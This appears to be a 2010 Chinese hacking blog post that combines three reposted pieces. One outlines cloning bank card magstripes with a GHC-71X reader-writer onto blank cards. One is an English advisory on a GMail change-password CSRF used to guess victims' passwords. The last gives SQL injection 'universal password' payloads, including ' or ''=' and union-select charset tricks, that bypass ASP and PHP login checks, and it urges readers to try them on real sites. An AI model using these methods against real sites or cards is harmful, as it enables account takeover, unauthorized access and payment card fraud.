《无线通信原理通俗解读》-设计一个简单的SIM卡
- August 1st, 2010
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声明:本文仅仅是进行原理和方法介绍,切勿用于非法用途,产生的一切后果与本博客与博客所有者无关
今天去病毒公社成员神奇的BLOG(http://hi.baidu.com/mxparson)溜达看到了一篇关于银行卡复制的文章,以前一直以为银行卡复制是非常高难度的工作,谁想现在竟然出了工具了。
用到的工具是:GHC-71X磁卡读写器
首先我们还是来了解一下什么是CVV吧!
什么是CVV??
CVV密码校验是指商业银行在其使用的银行卡号编码规则和磁条数据格式中加入自定义加密算法的验证码(CVN),相关银行卡也就被称为CVN银行卡。 CVV信息被存储在磁条银行卡的磁道中,根据卡号、磁道主账号、发卡银行标志代码等信息,通过各银行自定义的特殊加密算法进行加密,每步都采用CVKA技术加密,得到验证码。由于不同银行的加密算法有差异,因此,利用获得的银行卡信息非法制作的部分假卡在发卡行解密时能够被识别而无法使用。
下面进行操作:
用COM口连接GHX-71X..安装驱动…通过配套的工具…把磁条信息读出来….然后通过工具写到白卡上..

在西班牙黑客组织地下墨西哥自治区看到的文章,破解邮箱由于技术限制一直停留在跑密码,从来没有尝试过利用漏洞也没有尝试过自己编码,很羡慕这些技术能够触及漏洞的高手们。
II. DESCRIPTION
————————-
Cross-Site Request Forgery, also known as one click attack or session
riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
malicious exploit of websites. Although this type of attack has
similarities to cross-site scripting (XSS), cross-site scripting
requires the attacker to inject unauthorized code into a website,
while cross-site request forgery merely transmits unauthorized
commands from a user the website trusts.
GMail is vulnerable to CSRF attacks in the “Change Password”
functionality. The only token for authenticate the user is a session
cookie, and this cookie is sent automatically by the browser in every
request.
An attacker can create a page that includes requests to the “Change
password” functionality of GMail and modify the passwords of the users
who, being authenticated, visit the page of the attacker.
The attack is facilitated since the “Change Password” request can be
realized across the HTTP GET method instead of the POST method that is
realized habitually across the “Change Password” form.
IV. PROOF OF CONCEPT
————————-
1. An attacker create a web page “csrf-attack.html” that realize many
HTTP GET requests to the “Change Password” functionality.
For example, a password cracking of 3 attempts (see “OldPasswd”
parameter):
…
…
or with hidden frames:
…
…
The attacker can use deliberately a weak new password (see “Passwd”
and “PasswdAgain” parameters), this way he can know if the analysed
password is correct without need to modify the password of the victim
user.
Using weak passwords the “Change Password” response is:
– ” The password you gave is incorrect. “, if the analysed password
is not correct.
– ” We’re sorry, but you’ve selected an insecure password. In order
to protect the security of your account, please click “Password
Strength” to get tips on choosing to safer password. “, if the
analysed password is correct and the victim password is not modified.
If the attacker want to modify the password of the victim user, the
waited response message is: ” Your new password has been saved – OK “.
In any case, the attacker evades the restrictions imposed by the
captcha of the authentication form.
2. A user authenticated in GMail visit the “csrf-attack.html” page
controlled by the attacker.
For example, the attacker sends a mail to the victim (a GMail account)
and provokes that the victim visits his page (social engineering). So,
the attacker insures himself that the victim is authenticated.
3. The password cracking is executed transparently to the victim.
VISTO EN MENEAME http://meneame.net/story/vulnerabilidad-gmail-permite-alguien-cambiar-contrasena-cuenta
记得08年拿站在没有眉目的时候就喜欢试一下万能登陆码,而也有一些看似无懈可击的网站倒在了万能登陆码的屠刀下,现在又出了万能登陆码新思路,相信在万能登陆码方面又能掀起一阵血雨腥风!
原创作者:oldjun
文章来源:http://www.oldjun.com/
注:本文已经发表在《黑客手册》2009年05期
本文章无技术含量,只是提供一个思路,思路来源于前不久暴出的那个ewebeditor2.16版本的上传漏洞。对于过滤了单引号或者做了post防注入的站点,此方法也无能为力了;但对于很多对登陆端没做处理的网站,此方法值得一试,尤其是你已经知道源码了却不能执行命令(ACCESS数据库)或者对方能报错( MYSQL数据库)。
首先我们回顾下老的万能密码or漏洞的实现机制,先帖一段asp源码:
—————————老的存在or漏洞的asp代码—————————————-
username = request.form(“username”)
password = request.form(“password “)
set rs=server.createobject(“adodb.recordset”)
sql = “select * from admin where UserName=’”&username&”‘ And PassWord=’”& password &”‘”
rs.open sql,conn,1,3
——————————————————————————————————–
将表单中的username和password数据分别赋值给username和password,执行
select * from admin where UserName=’”&username&”‘ And PassWord=’”&password&”‘ 语句
但如果被赋值的username是 ‘ or ”=’ (password任意填写)则SQL语句变成了
select * from admin where UserName=” or ”=” And PassWord=’123′
”=”条件成立,则语句成功找到管理表里首位的帐号身份验证登陆,因而成了or漏洞,除’ or ”=’以外,’or’='or’ 啊什么的都可以,于是早年or漏洞形成了万能登陆密码。
针对这种or漏洞,很多asp站点进行了改进,改进后的源码大致如下:
—————————后来经过改进后的asp代码—————————————–
username = request.form(“username”)
password = request.form(“password “)
set rs=server.createobject(“adodb.recordset”)
sql = “select [password] from admin where UserName=’”&username&”‘”
rs.open sql,conn,1,3
If password = rs(“password”) then
…’登陆成功,文章来源:http://www.oldjun.com/
End if
——————————————————————————————————–
现在很多asp站点的登陆页面都是这么写的,如果是mssql,还可以执行SQL语句;但如果是ACCESS,很多人应该都会望而却步了吧?其实在没有过滤单引号的情况下,我们还是可以用“万能密码”登陆进后台的。
下面我们进入主题,讨论新型万能登陆密码,以php代码为例,由于字符集编码的问题,管理登陆端可以注入,先看源码:
———–存在字符集漏洞或者magic_quotes_gpc为off的php代码——————-
$row=$DB->query_first(“SELECT * FROM admin WHERE username=’$username’”);
If($row){
if($password!=$row[password]) {
…..//成功,文章来源:http://www.oldjun.com/
}else{
echo “用户名或密码错误!”;
}
}else{
echo “用户名或密码错误!”;
}
——————————————————————————————————–
由于字符集问题,我们可以注入,但由于回显都一样,所以猜不到数据。根据错误提示,我们发现管理表一共6列,password在第三列,于是我们构造如下用户名与密码:
Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23
Password=1
带入登陆框,sql语句为:
SELECT * FROM admin WHERE username=’-1蟎’ union select 1,1 as password,1,1,1,1
前面的用户名肯定不存在,于是select出来的password就是1了,就等于提交的password了,经测试,成功绕过验证。
现在我们再回头看看之前改进过的asp登陆代码,我们该如何绕过呢,原理同上:
Username=-1′ union select 1 as [password] from admin where ’1′=’1
Password=1
呵呵,轻松绕过认证,到此为止大家知道该如何利用了吧,对于现在绝大多数的小asp站以及一定规模的php站点,大家不防试试这个万能密码~